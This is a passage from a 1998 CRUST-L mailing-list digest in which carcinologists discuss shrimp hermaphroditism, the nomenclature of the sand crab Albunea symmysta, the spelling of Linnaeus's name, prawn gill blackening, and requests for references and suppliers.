1998 13:33:30 -0600 Sender: owner-crust-l@vims.edu Reply-To: ELIZABETH.MICHELLE.MOSER@solutia.com Hello, My name is Michelle Moser and I work for Solutia, Inc in St. Louis, MO. We are trying to perform a chronic toxicity test with a marine invertebrate. It has been suggested that we use mysid shrimp. Does anyone know of a supplier? Can anyone supply information on their life-cycle and the best way to culture them. If you could supply information, it would be greatly appreciated. Thanks, Michelle =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= These people have freshwater rotifers as well Aquatic Research Organisims P.O. Box 1271 One Lafayette Road Hampton, NH 03842, U.S.A. Tel: (603) 926-1650 or 1-800-927-1650 Fax: (603) 926-5278 Regards, James Hensinger Ascot International http://www.aquafind.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Peter Brueggeman" Date: Tue, 24 Mar 1998 13:44:31 -0800 Subject: CRUST-L: free publns Free publications from the NAGA Expedition's NAGA REPORT series subtitled "Scientific Results of Marine Investigations of the South China Sea and the Gulf of Thailand 1959-1961." I am clearing out a large stock. Respond with your postal mailing address; no postage reimbursement needed............Peter Brueggeman, SIO Library 1) Naga Expedition, station index and data / by James L. Faughn La Jolla : University of California, Scripps Institution of Oceanography, 1974 NAGA Report Volume 1 2) The physical oceanography of the Gulf of Thailand, Naga Expedition / by Margaret K. Robinson La Jolla, Calif. : Scripps Institution of Oceanography, 1974 AND Bathythermograph (BT) temperature observations in the Timor Sea, Naga Expedition, cruise S11 / by Margaret K. Robinson La Jolla, Calif. : Scripps Institution of Oceanography, 1974 IN: NAGA Report Volume 3 Part 1 3) The portunid crabs (crustacea: portunidae) collected by the Naga Expedition / by W. Stephenson La Jolla, Calif. : Scripps Institution of Oceanography, 1967 AND Gammaridean amphipoda from the South China Sea / by Margaret K. Robinson La Jolla, Calif. : Scripps Institution of Oceanography, 1967 IN: NAGA Report Volume 4 Part 1 4) The Chaetognatha of the NAGA Expedition (1959-1961) in the South China Sea and the Gulf of Thailand / by Angeles Alvario La Jolla : University of California, Scripps Institution of Oceanography, 1967- NAGA Report Volume 4 Part 2 5) Nephtyidae (polychaeta) from the Bay of Nha Trang, South Viet Nam / by Kristian Fauchald La Jolla, Calif. : Scripps Institution of Oceanography, 1967 AND Polychaeta from the Bay of Nha Trang, South Viet Nam / by Victor A. Gallardo La Jolla, Calif. : Scripps Institution of Oceanography, 1967 IN: NAGA Report Volume 4 Part 3 6) The brachyura (crustacea: decapoda) collected by the Naga Expedition : including a review of the homolidae / by R. Serene and P. Lohavanijaya La Jolla, Calif. : Scripps Institution of Oceanography, 1973 NAGA Report Volume 4 Part 4 7) Euthecosomatous pteropods (Mollusca) in the Gulf of Thailand and the South China Sea : seasonal distribution and species associations / by Marcia Rottman La Jolla : University of California, Scripps Institution of Oceanography, 1976 NAGA Report Volume 4 Part 6 ============================================================= Peter Brueggeman, Scripps Institution of Oceanography Library UCSD, 9500 Gilman Dr, Dept 0219, San Diego CA 92093-0219 USA ....pbrueggeman@ucsd.edu.......http://library-pc5969.ucsd.edu/ ....Telephone: 619/534-1230.......Fax: 619/534-5269 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 25 Mar 1998 00:18:24 -0500 (EST) Subject: CRUST-L: FW Shrimps I don't know why this bounced, but please respond to Jari or the list, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Jari Sandqvist Reply-To: jaris@aqvaari.pp.fi Subject: FW shrimps Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi I need help for some questions. 1. There is hermaphrodites (genus Lysmata...) in sea water shrimps. Any such species in fresh waters? 2. What would you say about this (Asian?) FW shrimp imported from Singaporean Aquarium exporter: http://personal.eunet.fi/pp/trc/mkatka.jpg? Even subfamily identification or guesses of the genus, please. The shrimp is female. 3. Is there somebody who has seen Caridina japonica specimens available from Singaporean aquarium exporters? These shrimps are transparent (Caridinas anyway) with red points everywhere and greenish stripe on the dorsal. In German aquarium fish magazine somebody wrote that they could not be C. japonica because it is forbidden to export them from Japan! Whats the true on this topic. 4. In FW shrimp species, does the fertilisation allways occur with moulting? Can some shrimps species/genus store any spermatozoa for later use? Thank you again for your time Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Ayax R. Diaz R." Date: Tue, 24 Mar 1998 23:42:45 -0600 (CST) Subject: CRUST-L: Modal Progression Refs. Dear Crusters, Could anybody send me any reference about modal progression analysis in decapods based in length - freq. data? Some other collegues have told me that there are a ouple of them refering to shrimps, lobsters and some other crabs but I haven't been able to get any of them. I'd really thank any help in this. Cheers, Ayax. Ayax R. Diaz Ruiz Depto. de Biologia Marina Universidad Autonoma de Baja California Sur Km 5.5 Carretera al Sur. A.P. 19-B, C.P. 23,080 La Paz, B.C.S. Mexico. Tel./fax: (+ 52-112) 3-45-66 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Tue, 24 Mar 1998 21:57:42 -1000 Subject: Re: CRUST-L: FW Shrimps On Tue, 24 Mar 1998, Jeffrey Shields wrote: > 1. There is hermaphrodites (genus Lysmata...) in sea water shrimps. Any > such species in fresh waters? Wow! A question finally up my alley! There are many examples of protandrous hermaphrodites in shrimp, but they appear to be limited to certain families (Hippolytidae, Crangonidae, Pandalidae, some Alpheidae, and Atyidae are the major ones off the top of my head). It's interesting that non-shrimp families don't appear to show any hermaphroditism at all, with exception of some examples of parasitism. Protandry is most always the pattern described. Lysmata amboinensis is a protandrous, then simultaneous hermaphrodite (my work) and it is likely that several other Lysmata species fit this description in the genus. Unfortunately, clear experimental work is lacking in other simultaneous suspects. (BTW, if anyone wants to fund a postdoc looking further into to this, let me know!!) The freshwater shrimp you are thinking of are probably Atyids. Several species are thought to be protandrous, but not much work has been done in this area. [Carpenter (1978) did an excellent paper on one atyid with a review of hermaphroditism in higher crustacea.] > 2. What would you say about this (Asian?) FW shrimp imported from > Singaporean Aquarium exporter: > http://personal.eunet.fi/pp/trc/mkatka.jpg? Even subfamily > identification or guesses of the genus, please. The shrimp is female. This is probably not easy to determine. The best expert of atyid species I know is Shokita in Okinawa Japan. He is difficult to get in touch with, however. > 3. Is there somebody who has seen Caridina japonica specimens available > from Singaporean aquarium exporters? These shrimps are transparent > (Caridinas anyway) with red points everywhere and greenish stripe on the > dorsal. In German aquarium fish magazine somebody wrote that they could > not be C. japonica because it is forbidden to export them from Japan! > Whats the true on this topic. This is interesting, as there are very few laws on import/export of animals from Japan in my experience. The exception are corals and some CITES species. I can check with some sources there about C. japonica. > 4. In FW shrimp species, does the fertilisation allways occur with > moulting? Can some shrimps species/genus store any spermatozoa for later > use? In most small caridean shrimp, they must molt to bear eggs. There has been speculation that some Lysmata species store exogenous sperm (from partners), but I have serious doubts on the validity of those statements from my work. It certainly doesn't occur in L. amboinensis, and I suspect other supposed examples of sperm storage are just misinterpretations. For example, solitary L. amboinenis will spawn eggs with every molt, but none of those eggs are fertile. If you remove their partners, they don't spawn fertile eggs afterwards. I'd be very interested if anyone has actually seen something else. If your atyids are simultaneous hermaphrodites or are storing sperm, I'd be very interested in hearing more, and would be interested in collaboration. Good luck, Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Peter Wirtz Date: Wed, 25 Mar 1998 09:39:58 -0100 Subject: CRUST-L: hermaphroditic shrimps Dear Jari, Curt has already answered most of your questions. Protandrous hermaphroditism is common in shrimps. The only shrimps known to be SIMULTANEOUS hermaphrodites are three species of Lysmata. Curt has nice experimental evidence for L. amboinensis (I wish he would publish it), I have some evidence from the field for L. grabhami (described in J. Zool. 242, 799-811; 1997) and there is a third species being worked on by Dr. Bauer. Best wishes Peter Peter Wirtz email biomar@dragoeiro.uma.pt after 27 March. http://www.uma.pt/sbmo/pwirtz.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 25 Mar 1998 09:47:10 -0500 (EST) Subject: CRUST-L: Re: FW Shrimp (fwd) Please respond to Ludwig Buckup or the list, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Wed, 25 Mar 1998 11:08:19 -0300 From: Ludwig Buckup Subject: Re: CRUST-L: FW Shrimps > > Hi > > I need help for some questions. > > 1. There is hermaphrodites (genus Lysmata...) in sea water shrimps. Any > such species in fresh waters? > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The colleagues Sandqvist, Wirtz and Fiedler, started a very interesting discussion about hermaphroditism in shrimps. I think I can contribute with some very new information about protandrious hermaphroditism in Parastacidae. In the neotropical species of crayfishes of the genus Parastacus we have the coexistence of male and female genital apertures in the same animal, suggesting the existence of some type of hermaphroditism. Parastacus brasiliensis and P.defossus from the southernmost State of Brazil, Rio Grande do Sul, were collected, cultivated in laboratory and dissected. The results showed that both species are sequential hermaphroditic species, of the protandrous type, since ovaries are present only in larger (older) specimen. Both testes in males and ovaries in females are connected to the respective genital apertures. Very recently the graduate student Alexandre Oliveira de Almeida in my research group, identified testes progressively transforming into ovaries in middle sized P.brasiliensis and P.defossus. The complete and final results of these investigations will be presented during the Fourth International Crustacean Congress in July 20-24,1998, in Amsterdam. Ludwig Buckup Universidade Federal do Rio Grande do Sul Porto Alegre,RS,Brasil buckup@vortex.ufrgs.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 26 Mar 1998 17:33:02 -0500 (EST) Subject: CRUST-L: lack of mail CRUSTLers, We've experienced some system difficulties over the last few days. If you haven't received crust-l mail, not to worry, things should be running smoothly again. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Tudge, Christopher" Date: Fri, 27 Mar 1998 11:47:06 +1000 Subject: CRUST-L: Albuneid nomenclature Dear Crustophiles, I have a question to ask of the group regarding the authorship of an anomuran crab. The crab in question is the mole crab (or sand crab) Albunea symnista. It is an anomuran in the superfamily Hippoidea. I looked up a few refs. and consistently got the following authorship and species spelling- Albunea symnista (Linnaeus. 1766). But when reading a list of synonomies I saw Cancer symnista Linnaeus, 1766 and later in the same list, Cancer symmysta Linne, 1758. Surely, the latter precedes the first?? I have also seen Albunea symnysta (Linne, 1758)? Can anyone enlighten me on the correct species spelling, and the correct authorship and date, and why "symmysta" Linne, 1758 doesn't take precedence over "symnista" Linnaeus, 1766? Regards and thanks, Chris Dr Christopher Tudge Crustacean Laboratory Museum of Victoria 71 Victoria Crescent Abbotsford, Vic. 3067 Australia Ph: +61 03 9284 0236 Fax: +61 03 9416 0475 ctudge@mov.vic.gov.au " Every sperm is sacred....every sperm is good. Every sperm is needed in your neighbourhood " Dr Christopher Tudge Crustacean Laboratory Museum of Victoria 71 Victoria Crescent Abbotsford, Vic. 3067 Australia Ph: +61 03 9284 0236 Fax: +61 03 9416 0475 ctudge@mov.vic.gov.au " Every sperm is sacred....every sperm is good. Every sperm is needed in your neighbourhood " =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #128 ***************************** From owner-crust-l Mon Mar 30 03:24:39 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id DAA21175 for crust-l-digest-outgoing; Mon, 30 Mar 1998 03:10:28 -0500 Date: Mon, 30 Mar 1998 03:10:28 -0500 Message-Id: <199803300810.DAA21175@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #129 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 3 crust-l-digest Monday, 30 March 1998 Volume 01 : Number 129 CRUST-L: Linnaeus CRUST-L: BLACK GILLS IN PRAWNS Re: CRUST-L: Linnaeus CRUST-L: Hello! CRUST-L: Re: Albuneid nomenclature Re: CRUST-L: Albuneid nomenclature CRUST-L: size-frequency modality CRUST-L: cave crusts CRUST-L: Re: Speleologists, cave locations & white elephant (?) CRUST-L: cave crusts CRUST-L: author query for biosci text ancillary (fwd) CRUST-L: Hermaphrodite discussion (FW shrimps) Re: CRUST-L: Hermaphrodite discussion (FW shrimps) CRUST-L: cave locations CRUST-L: Blind Amphipods ---------------------------------------------------------------------- From: P.Davie@mailbox.uq.edu.au Date: Fri, 27 Mar 98 11:45:41 +1000 Subject: CRUST-L: Linnaeus Hi All, In partial response to Chris Tudge's question, I would like to pose one of my own. I was recently told that Linne (with e acute) was the real spelling for Linnaeus. His students latinised his name in recognition of his authority, but as this is neither necessary nor consistent with other authors' names today, then Linne should be used in preference. Is this right? I must admit to never really having questioned it too closely before. Is there a consensus? Regards Peter - ---------------------------------------------------- P.J.F. Davie Senior Curator, Crustacea Queensland Museum P.O. Box 3300 South Brisbane. QLD 4101 Australia Ph: 61.7.38407719 Fax: 61.7.38461226 Email: P.Davie@mailbox.uq.edu.au - ---------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: seafarm@Bigpond.com (Brian Vernon) Date: Fri, 27 Mar 1998 14:01:40 +1100 Subject: CRUST-L: BLACK GILLS IN PRAWNS Has anyone experienced cooked prawns (monodon) showing blackness in the gills and sometimes on pleopods about 24/48 hours after cooking. This is NOT blackhead which is due to undercooking, and may affect 20% of a batch of prawns(usually under 10% in an affected pond). Less than 5% of ponds harvested are affected and within affected ponds it is not the largest or the smallest that show these symptoms. The gill tissue goes grey then black; initially the underlying tissues are not affected but after 48 hours the black colour spreads to other tissue. If pleopods are affected they go grey then black, then then area between them discolours and later the colour moves into the tail meat. There are no visible symptoms before cooking. We suspect algae, possibly oscillatoria, or something which is damaging the gill tissues, maybe releasing an enzyme that causes tissue damage BEFORE cooking. We suspect the causative factor follows a drop in salinity from 30+ppt to nearer 20ppt and may be related to algal succession. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Matz Berggren" Date: Fri, 27 Mar 1998 09:31:15 +0200 Subject: Re: CRUST-L: Linnaeus Hello all Crustlers, Being Swedish, I fully agree on Peter's comment of the "true" spelling of Linn=E9. That spelling comes from 1757 when he was made a nobleman and taking the name of " von Linn=E9" (http://www.systbot.uu.se/dept/history/linneaus.html). However, since the use of the latin form of his name as auktor goes back to the beginning or middle of 1760, it is perhaps easier to keep it as it is. Best regards, matz On 27 Mar 98 at 11:45, P.Davie@mailbox.uq.edu.au wrote: > From: P.Davie@mailbox.uq.edu.au > Date: Fri, 27 Mar 98 11:45:41 +1000 > To: CRUST-L@VIMS.EDU > Subject: CRUST-L: Linnaeus > Reply-to: P.Davie@mailbox.uq.edu.au > Hi All, > > In partial response to Chris Tudge's question, I would like to pose one = of > my own. I was recently told that Linne (with e acute) was the real > spelling for Linnaeus. His students latinised his name in recognition of > his authority, but as this is neither necessary nor consistent with othe= r > authors' names today, then Linne should be used in preference. Is this > right? I must admit to never really having questioned it too closely > before. Is there a consensus? > > Regards > Peter > > ---------------------------------------------------- > P.J.F. Davie > Senior Curator, Crustacea > Queensland Museum > P.O. Box 3300 > South Brisbane. QLD 4101 > Australia > Ph: 61.7.38407719 > Fax: 61.7.38461226 Email: P.Davie@mailbox.uq.edu.au > ---------------------------------------------------- > > =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D > Matz Berggren MIME-compilant Marine Ecology / Goteborg University Kristineberg Marine Research Station (http://www.kmf.gu.se) S-450 34 Fiskebackskil SWEDEN Tel: +46-(0)523-18532 Fax: +46-(0)523-18503 Fax: +46-(0)523-18502 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: merinl Date: Fri, 27 Mar 1998 11:01:49 +0000 Subject: CRUST-L: Hello! Hi Crustlers! I'm looking for temperature development rates in decapod larvae, particularly brachyuran. If you know any papers in relation to this I'd really appreciate it. Thank you! leticia Merin =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Zen Faulkes" Date: Fri, 27 Mar 1998 09:09:51 EST Subject: CRUST-L: Re: Albuneid nomenclature Hello, Christopher Tudge wrote: > I have a question to ask of the group regarding the authorship > of [snip] Albunea symnista. > > I looked up a few refs. and consistently got the following > authorship and species spelling- Albunea symnista (Linnaeus. > 1766). But when reading a list of synonomies I saw Cancer symnista > Linnaeus, 1766 and later in the same list, Cancer symmysta Linne, > 1758. Surely, the latter precedes the first?? I have also seen > Albunea symnysta (Linne, 1758)? I've noticed the same variant spellings when I was doing searches on sand crabs. Unfortunately, there is no recent review on the genus Albunea, so I can't say which is the correct species citation. Christopher B. Boyko is working on a review of sand crabs and he might have an answer to this question. But he's a list member and has probably already posted on this topic by now. :) Zen Faulkes! http://www.mcgill.ca/Biology/perspage/zfaulkes.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: cboyko@AMNH.ORG (Christopher B. Boyko) Date: Fri, 27 Mar 1998 09:45:37 -0400 Subject: Re: CRUST-L: Albuneid nomenclature Dear Chris (and other interested parties), I am currently working on a complete revision and phylogenetic analysis of the Albuneidae, so I am familiar with the question posed about the authorship of A. symmysta. I have no idea why A. symnista (sic) (L., 1767) has become so entrenched in the literature, but A. symmysta (L., 1758) does have precedence and is the correct original spelling and date of authorship. Linnaeus (1764) also listed the species as "symmysta," so I must presume that a typo crept into the 1767 work (I think the date of the "1766" is actualy 1767). One thing to keep in mind about this species is that what has traditionally been called "A. symmysta" in publications and on museum specimen labels is actually a group of at least 8 taxa (perhaps more). I would recommend that the assigning of specific names to specimens be put off until my revision is completed, in order to avoid adding more confusion to this group. Because the species are closely related, it is generally not possible to tell what a particular author had in front of him/her unless the specimens are availible for re-examination. Of course, I would be happy to examine albuneid specimens and provide identification for interested parties. Here are the references regarding the above: Linnaeus, C. 1758. Systema Naturae..... 10th ed. Linnaeus, C. 1764. Museum S.R.M. Ludovicae Ulricae Reginae... Linnaeus, C. 1767. Systema Naturae..... 12th ed. Chris P.S. I prefer "sand crabs" to "mole crabs" for this family. I think of "mole crabs" as being Hippidae. >Dear Crustophiles, > > I have a question to ask of the group regarding the authorship >of an anomuran crab. The crab in question is the mole crab (or sand >crab) Albunea symnista. It is an anomuran in the superfamily Hippoidea. > > I looked up a few refs. and consistently got the following >authorship and species spelling- Albunea symnista (Linnaeus. >1766). > But when reading a list of synonomies I saw Cancer symnista >Linnaeus, 1766 and later in the same list, Cancer symmysta Linne, 1758. >Surely, the latter precedes the first?? I have also seen Albunea >symnysta (Linne, 1758)? > > Can anyone enlighten me on the correct species spelling, and the >correct authorship and date, and why "symmysta" Linne, 1758 doesn't take >precedence over "symnista" Linnaeus, 1766? > Christopher B. Boyko Department of Invertebrates American Museum of Natural History Central Park West @ 79th St. New York, NY 10024 (212) 769-5717 Fax: (212) 769-5783 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 27 Mar 1998 11:30:38 -0500 (EST) Subject: CRUST-L: size-frequency modality Please respond to John Twining or the list, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- X-Sender: jrt@pop.ansto.gov.au Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: "Ayax R. Diaz R." From: jrt@ansto.gov.au (John Twining) Subject: Size-frequency modality Cc: CRUST-L@vims.edu X-Mailer: Thank you, Ayax for your help with those references Well, thats a great start. Thanks for your help in the matter. In relation to my observations so far, the size-frequency data is just a part of a larger project I'm running on the river and I'm only part time on the Finniss River work so I don't know when I'll be able to concentrate on it. I'll send you something when I've had some spare time to collate the data I already have. To Crusties in general Thanks to all who sent messages to Ayax. In my decapod studies in the Finniss River (NT Australia) I have had mixed results so far in relation to size frequency distributions. Some results suggest that I am getting some shift in population size through time but it appears to be confused by the breeding/ moulting being more opportunistic than seasonal. On one hand, this latter factor is not unusual given that I am looking at a tropical species but, on the other hand, it is unusal because the river is in a monsoonal climate so there is a very significant seasonality and highly variable water quality. It may be that the time frame over which I am observing that is also causing problems. The latest information was collected at approx. one month intervals over 3.5 months from a few sites and this data suggests some modality and shifting. The larger data sets are collected from more sites but at approx annual intervals (This river is remote from my labs). The larger data sets show no consistency in modality between sites that were sampled at approximately the same time. I would appreciate any comments on aging or moult frequency that you may care to suggest. Cheers John John Twining Environment Division ANSTO PMB 1 Menai 2234 Australia +612 t: 9717 3060 f: 9717 9260 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 27 Mar 1998 15:17:46 -0500 (EST) Subject: CRUST-L: cave crusts Please respond to Wulf and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Comments: Authenticated sender is From: "Wulf Kobusch" To: CRUST-L@VIMS.EDU Subject: Speleologists, cave locations & white elephant (?) CC: crustacea@servidor.unam.mx Priority: normal X-mailer: Pegasus Mail for Windows (v2.53/R1) Hello CRUSTLers, May be that some speleologists among you can help me with the following peculiar problem: I have some cave crustaceans here from the following locations: 1) Shimoni Caves 2.a) 